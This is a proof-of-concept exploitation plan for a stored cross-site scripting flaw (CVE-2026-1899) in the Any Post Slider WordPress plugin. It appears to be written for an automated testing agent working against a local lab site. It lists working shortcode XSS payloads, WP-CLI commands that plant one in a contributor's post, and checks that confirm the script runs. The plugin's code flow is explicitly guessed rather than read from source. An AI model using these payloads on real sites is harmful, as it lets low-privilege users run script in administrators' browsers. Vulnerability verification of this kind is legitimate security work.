Any Post Slider <= 1.0.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'post_type' Shortcode Attribute

This research plan outlines the technical steps to exploit CVE-2026-1899, a Stored Cross-Site Scripting (XSS) vulnerability in the Any Post Slider plugin (versions <= 1.0.4).

---

1. Vulnerability Summary

The Any Post Slider plugin fails to properly sanitize and escape the post_type attribute within its [aps_slider] shortcode. While post_type is intended to define the source of posts for the slider, an attacker with Contributor-level permissions or higher can inject malicious HTML or JavaScript into this attribute. Because the plugin renders this attribute directly into the page output without using WordPress escaping functions like esc_attr() or esc_html(), the script executes in the context of any user viewing the page.

2. Attack Vector Analysis

• Shortcode: [aps_slider]
• Vulnerable Attribute: post_type
• Authentication Requirement: Contributor (can create posts and use shortcodes) or higher.
• Injection Point: The content of a WordPress post, page, or any area where shortcodes are processed.
• Sink: The HTML output rendered by the shortcode callback function (likely in an HTML attribute or wrapper div).

3. Code Flow (Inferred)

1. Registration: The plugin registers the shortcode in the main plugin file or an inclusion file (e.g., any-post-slider.php) using add_shortcode( 'aps_slider', 'callback_function_name' ).
2. Attribute Parsing: Inside the callback function, the plugin uses shortcode_atts() to extract user-provided attributes:

   $atts = shortcode_atts( array(
       'post_type' => 'post',
       // other attributes...
   ), $atts );
   

3. Vulnerable Sink: The variable $atts['post_type'] is concatenated into an HTML string for the frontend. For example:

   $output .= '<div class="aps-slider-container" data-post-type="' . $atts['post_type'] . '">'; 
   // OR
   $output .= '<div class="aps-slider-' . $atts['post_type'] . '">';
   

4. Lack of Escaping: The post_type value is returned as part of the shortcode output without being wrapped in esc_attr() or wp_kses().

4. Nonce Acquisition Strategy

This vulnerability is exploited by saving a WordPress post containing a shortcode. While saving a post via the Gutenberg editor or Classic editor requires a nonce (_wpnonce), the vulnerability itself is in the rendering of the shortcode.

For the purpose of a PoC in an automated environment:

1. Direct WP-CLI Injection: Use wp post create as an admin or contributor to bypass the need for an HTTP-level nonce during the setup phase.
2. UI-Based Nonce (If needed for HTTP-only PoC):
   • The execution agent will navigate to wp-admin/post-new.php.
   • Use browser_eval to extract the _wpnonce from the form:
     browser_eval("document.querySelector('#_wpnonce')?.value").
   • The specific action string for post creation nonces is typically update-post_[ID].

5. Exploitation Strategy

The goal is to demonstrate that a Contributor can execute arbitrary JavaScript that triggers when an Admin views the post.

Step-by-Step Plan:

1. Authenticate as Contributor: Login via the http_request tool or browser_navigate.
2. Create Malicious Content: Create a new post containing the payload.
   • Payload A (Attribute Breakout): [aps_slider post_type='"><script>alert(document.domain)</script>']
   • Payload B (Event Handler): [aps_slider post_type='x" onmouseover="alert(1)" style="width:100px;height:100px;background:red;"']
3. Trigger Execution: As an Admin user, navigate to the permalink of the newly created post.
4. Confirm XSS: Use browser_eval to check for the existence of the injected script or a triggered alert.

6. Test Data Setup

1. Plugin Installation: Ensure any-post-slider version 1.0.4 is installed and active.
2. User Creation:

   wp user create attacker attacker@example.com --role=contributor --user_pass=password123
   

3. Post Creation (via CLI to simplify setup):

   wp post create --post_type=post --post_title="Slider Test" --post_content='[aps_slider post_type="\"><script>window.xss_vulnerable = true;</script>"]' --post_status=publish --post_author=$(wp user get attacker --field=ID)
   

7. Expected Results

• When the post is rendered, the HTML source will contain the unescaped payload.
• Vulnerable HTML snippet (Example):
  <div class="aps-slider-wrapper" data-post-type=""><script>window.xss_vulnerable = true;</script>">
• In the browser, executing browser_eval("window.xss_vulnerable") should return true.

8. Verification Steps

1. Check Output:

   curl -s http://localhost:8080/?p=[POST_ID] | grep "window.xss_vulnerable"
   

2. Inspect DOM: Use Playwright to confirm the script tag was actually parsed and executed by the browser engine.

9. Alternative Approaches

If the post_type attribute is used within a WP_Query but not directly echoed, it might be reflected in a "No posts found" message or a slider initialization script.

• Alternative Payload (Script injection into JS variable):
  If the plugin uses wp_localize_script to pass the post_type to a JS file:
  [aps_slider post_type='-post-type");alert(1);("']
• Alternative Sink (CSS/Class injection):
  If used in a class name:
  [aps_slider post_type='myclass"><img src=x onerror=alert(1)>']

If simple attribute breakout fails, try encoding variants (e.g., HTML entities) to see if partial filtering is in place. However, the CVE description indicates "insufficient input sanitization and output escaping," suggesting a direct echo of the attribute.